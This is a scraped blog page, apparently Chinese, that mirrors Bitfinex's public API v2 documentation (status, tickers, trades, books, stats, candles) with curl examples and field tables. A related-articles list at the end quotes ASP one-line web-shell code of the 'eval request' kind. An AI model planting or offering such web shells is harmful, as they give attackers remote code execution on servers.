Bitfinex API
本文介绍Bitfinex APi
Platform Status
Get the current status of the platform. Maintenance periods last for just few minutes and might be necessary from time to time during upgrades of core components of our infrastructure. Even if rare it is important to have a way to notify users. For a real-time notification we suggest to use websockets and listen to events 20060/20061
gethttps://api.bitfinex.com/v2/platform/status
curl https://api.bitfinex.com/v2/platform/status
Response Details
| Fields | Type | Description |
|---|---|---|
| OPERATIVE | int | 1=operative, 0=maintenance |
Maintenance mode
When the platform is marked in maintenance mode bots should stop trading activity. Cancelling orders will be still possible.
Tickers
The ticker is a high level overview of the state of the market. It shows you the current best bid and ask, as well as the last trade price. It also includes information such as daily volume and how much the price has moved over the last day.
gethttps://api.bitfinex.com/v2/tickers
curl https://api.bitfinex.com/v2/tickers?symbols=tBTCUSD,tLTCUSD,fUSD curl https://api.bitfinex.com/v2/tickers?symbols=tBTCUSD curl https://api.bitfinex.com/v2/tickers?symbols=ALL
QUERY PARAMS
The symbols you want information about as a comma separated list, or ALL for every symbol. Ex:
Response Details
| Fields | Type | Description |
|---|---|---|
| FRR | float | Flash Return Rate - average of all fixed rate funding over the last hour |
| BID | float | Price of last highest bid |
| BID_PERIOD | int | Bid period covered in days |
| BID_SIZE | float | Sum of the 25 highest bid sizes |
| ASK | float | Price of last lowest ask |
| ASK_PERIOD | int | Ask period covered in days |
| ASK_SIZE | float | Sum of the 25 lowest ask sizes |
| DAILY_CHANGE | float | Amount that the last price has changed since yesterday |
| DAILY_CHANGE_PERC | float | Amount that the price has changed expressed in percentage terms |
| LAST_PRICE | float | Price of the last trade |
| VOLUME | float | Daily volume |
| HIGH | float | Daily high |
| LOW | float | Daily low |
Ticker
The ticker is a high level overview of the state of the market. It shows you the current best bid and ask, as well as the last trade price. It also includes information such as daily volume and how much the price has moved over the last day.
gethttps://api.bitfinex.com/v2/ticker/Symbol
curl https://api.bitfinex.com/v2/ticker/tBTCUSD
PATH PARAMS
The symbol you want information about. You can find the list of valid symbols by calling the /symbols endpoint.
Response Details
| Fields | Type | Description |
|---|---|---|
| FRR | float | Flash Return Rate - average of all fixed rate funding over the last hour |
| BID | float | Price of last highest bid |
| BID_PERIOD | int | Bid period covered in days |
| BID_SIZE | float | Sum of the 25 highest bid sizes |
| ASK | float | Price of last lowest ask |
| ASK_PERIOD | int | Ask period covered in days |
| ASK_SIZE | float | Sum of the 25 lowest ask sizes |
| DAILY_CHANGE | float | Amount that the last price has changed since yesterday |
| DAILY_CHANGE_PERC | float | Amount that the price has changed expressed in percentage terms |
| LAST_PRICE | float | Price of the last trade |
| VOLUME | float | Daily volume |
| HIGH | float | Daily high |
| LOW | float | Daily low |
Trades
Trades endpoint includes all the pertinent details of the trade, such as price, size and time.
gethttps://api.bitfinex.com/v2/trades/Symbol/hist
curl https://api.bitfinex.com/v2/trades/tBTCUSD/hist
PATH PARAMS
The symbol you want information about.
QUERY PARAMS
Number of records
Millisecond start time
Millisecond end time
if = 1 it sorts results returned with old > new
Response Details
| Fields | Type | Description |
|---|---|---|
| MTS | int | millisecond time stamp |
| ±AMOUNT | float | How much was bought (positive) or sold (negative). |
| PRICE | float | Price at which the trade was executed |
| RATE | float | Rate at which funding transaction occurred |
| PERIOD | int | Amount of time the funding transaction was for |
The order that causes the trade determines if it is a buy or a sell.
Books
The Order Books channel allow you to keep track of the state of the Bitfinex order book. It is provided on a price aggregated basis, with customizable precision.
gethttps://api.bitfinex.com/v2/book/Symbol/Precision
curl https://api.bitfinex.com/v2/book/tBTCUSD/P0
PATH PARAMS
The symbol you want information about. You can find the list of valid symbols by calling the /symbols endpoint.
Level of price aggregation (P0, P1, P2, P3, P4, R0)
QUERY PARAMS
Number of price points ("25", "100")
Response Details
| Fields | Type | Description |
|---|---|---|
| PRICE | float | Price level |
| RATE | float | Rate level |
| PERIOD | float | Period level (Funding only) |
| COUNT | int | Number of orders at that price level |
| ±AMOUNT | float | Total amount available at that price level. |
For Trading: if AMOUNT > 0 then bid else ask.
For Funding: if AMOUNT > 0 then ask else bid.
gethttps://api.bitfinex.com/v2/stats1/Key:Size:Symbol/Section
[
MTS,
VALUE
]
// response with Section = "hist"
[
[ MTS, VALUE ],
...
]
PATH PARAMS
Allowed values: "funding.size", "credits.size", "credits.size.sym", "pos.size"
Available values: '1m'
The symbol you want information about.
Available values: "long", "short"
Available values: "last", "hist"
QUERY PARAMS
if = 1 it sorts results returned with old > new
Response Details
| Fields | Type | Description |
|---|---|---|
| MTS | int | millisecond timestamp |
| VALUE | float | Total amount |
Available Keys
| Key | Description | Arguments | Example |
|---|---|---|---|
| pos.size | Total Open Position (long / short) | :1m :SYM_TRADING :SIDE | pos.size:1m:tBTCUSD:long , pos.size:1m:tBTCUSD:short |
| funding.size | Total Active Funding | :1m :SYM_FUNDING | funding.size:1m:fUSD |
| credits.size | Active Funding used in positions | :1m :SYM_FUNDING | credits.size:1m:fUSD |
| credits.size.sym | Active Funding used in positions (per trading symbol) | :1m :SYM_FUNDING :SYM_TRADING | credits.size.sym:1m:fUSD:tBTCUSD |
gethttps://api.bitfinex.com/v2/candles/trade:TimeFrame:Symbol/Section
[
MTS,
OPEN,
CLOSE,
HIGH,
LOW,
VOLUME
]
// response with Section = "hist"
[
[ MTS, OPEN, CLOSE, HIGH, LOW, VOLUME ],
...
]
PATH PARAMS
Available values: '1m', '5m', '15m', '30m', '1h', '3h', '6h', '12h', '1D', '7D', '14D', '1M'
The symbol you want information about.
Available values: "last", "hist"
QUERY PARAMS
Number of candles requested
Filter start (ms)
Filter end (ms)
if = 1 it sorts results returned with old > new
Response Details
| Fields | Type | Description |
|---|---|---|
| MTS | int | millisecond time stamp |
| OPEN | float | First execution during the time frame |
| CLOSE | float | Last execution during the time frame |
| HIGH | float | Highest execution during the time frame |
| LOW | float | Lowest execution during the timeframe |
| VOLUME | float | Quantity of symbol traded within the timeframe |
Available Keys
| Key | Description | Arguments | Example |
|---|---|---|---|
| trade | Trading Candles | :TF :SYM_TRADING | trade :1m :tBTCUSD |
| trade | Funding Candles | :TF :SYM_FUNDING:pPERIOD | trade :1m :fUSD :p30 |
| trade | Aggregate Funding Candles (AGGR=[10,30]) | :TF :SYM_FUNDING :aAGGR :pPER_START :p :PER_END | trade :1m :fUSD :a10 :p2 :p10 , trade :1m :fUSD :a10 :p11 :p20 , trade :1m :fUSD :a10 :p21 :p30 , trade :1m :fUSD :a30 :p2 :p30 |
Market Average Price
Calculate the average execution rate for Trading or Margin funding.
posthttps://api.bitfinex.com/v2/calc/trade/avg
curl --request POST \ --url 'https://api.bitfinex.com/v2/calc/trade/avg?symbol=symbol'
QUERY PARAMS
The symbol you want information about.
Amount. Positive for buy, negative for sell (ex. "1.123")
(optional) Maximum period for Margin Funding
Limit rate/price (ex. "1000.5")
Bitfinex API的更多相关文章
- 各大知名区块链交易所链接及API文档链接
区块链交易所链接 火币网(Huobi):https://www.huobi.br.com/zh-cn/ API文档:https://github.com/huobiapi/API_Docs/wiki ...
- 干货来袭-整套完整安全的API接口解决方案
在各种手机APP泛滥的现在,背后都有同样泛滥的API接口在支撑,其中鱼龙混杂,直接裸奔的WEB API大量存在,安全性令人堪优 在以前WEB API概念没有很普及的时候,都采用自已定义的接口和结构,对 ...
- 12306官方火车票Api接口
2017,现在已进入春运期间,真的是一票难求,深有体会.各种购票抢票软件应运而生,也有购买加速包提高抢票几率,可以理解为变相的黄牛.对于技术人员,虽然写一个抢票软件还是比较难的,但是还是简单看看123 ...
- 几个有趣的WEB设备API(二)
浏览器和设备之间还有很多有趣的接口, 1.屏幕朝向接口 浏览器有两种方法来监听屏幕朝向,看是横屏还是竖屏. (1)使用css媒体查询的方法 /* 竖屏 */ @media screen and (or ...
- html5 canvas常用api总结(三)--图像变换API
canvas的图像变换api,可以帮助我们更加方便的绘画出一些酷炫的效果,也可以用来制作动画.接下来将总结一下canvas的变换方法,文末有一个例子来更加深刻的了解和利用这几个api. 1.画布旋转a ...
- JavaScript 对数据处理的5个API
JavaScript对数据处理包括向上取整.向下取整.四舍五入.固定精度和固定长度5种方式,分别对应ceil,floor,round,toFixed,toPrecision等5个API,本文将对这5个 ...
- ES5对Array增强的9个API
为了更方便的对Array进行操作,ES5规范在Array的原型上新增了9个方法,分别是forEach.filter.map.reduce.reduceRight.some.every.indexOf ...
- javascript的api设计原则
前言 本篇博文来自一次公司内部的前端分享,从多个方面讨论了在设计接口时遵循的原则,总共包含了七个大块.系卤煮自己总结的一些经验和教训.本篇博文同时也参考了其他一些文章,相关地址会在后面贴出来.很难做到 ...
- 一百元的智能家居——Asp.Net Mvc Api+讯飞语音+Android+Arduino
大半夜的,先说些废话提提神 如今智能家居已经不再停留在概念阶段,高大上的科技公司都已经推出了自己的部分或全套的智能家居解决方案,不过就目前的现状而言,大多还停留在展厅阶段,还没有广泛的推广起来,有人说 ...
随机推荐
- 一句话木马:ASP篇
ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...
- iOS开发--libxml/HTMLparser.h file not found 解决方法 (libxml.dylib错误处理)
点击左边项目的根目录,再点击右边的Build Settings,手工输入文字:“Header search paths”,然后单击(或双击,点击弹出面板下面的“+”号进行添加)“ Header sea ...
- 高并发应对:淘宝CDN缓存服务器部署探秘
转自:http://server.chinabyte.com/6/12663506.shtml “好,时间到,开抢!”坐在电脑前早已等待多时的宋兰(化名)一看时间已到2011年11月11日零时,便迫不 ...
- Python调用7zip命令实现文件批量解压
Python调用7zip命令实现文件批量解压 1.输入压缩文件所在的路径 2.可以在代码中修改解压到的文件路径和所需要解压的类型,列入,解压文件夹下面所有的mp4格式的文件 3.cmd 指的就是Pyt ...
- adc转换原理
模数转换器即A/D转换器,或简称ADC,通常是指一个将模拟信号转变为数字信号的电子元件.通常的模数转换器是将一个输入电压信号转换为一个输出的数字信号.由于数字信号本身不具有实际意义,仅仅表示一个相对大 ...
- 深入理解 Neutron -- OpenStack 网络实现(4):网络名字空间
问题导读1.如何查看网络名字空间?2.网络名字空间开头的名字有什么规律?3.dhcp服务是如何实现的?4.router的实现是通过iptables进行的是否正确?5.SNAT和DNAT规则有什么作用? ...
- 二、K3 WISE 开发插件《 工业单据老单客户端插件事件、属性、方法》
===================== 目录: 1.插件事件说明如下 2.插件属性说明如下 3.插件方法说明如下 ===================== 1.插件事件说明如下: 序号 事 ...
- Maven —— scope 元素的值及其含义
1.compile 缺省值,所属依赖在所有的classpath中可用,同时它们也会被打包(随着项目一起发布). 2.provided 只有当JDK或者某个容器已提供该依赖之后才使用.如servlet. ...
- 使用 CSS MARK 改变 SVG 背景色
CSS masks -webkit-mask 这个属性是相当强大的,详细的介绍请到这里查看,它非常值得深入研究. -webkit-mask 让为一个元素添加蒙板成为可能,从而你可以创建任意形状的花样. ...
- sendfile Linux函数
现在流行的 web 服务器里面都提供sendfile 选项用来提高服务器性能,那到底 sendfile 是什么,怎么影响性能的呢? sendfile 实际上是 Linux 2.0+ 以后的推出的一个系 ...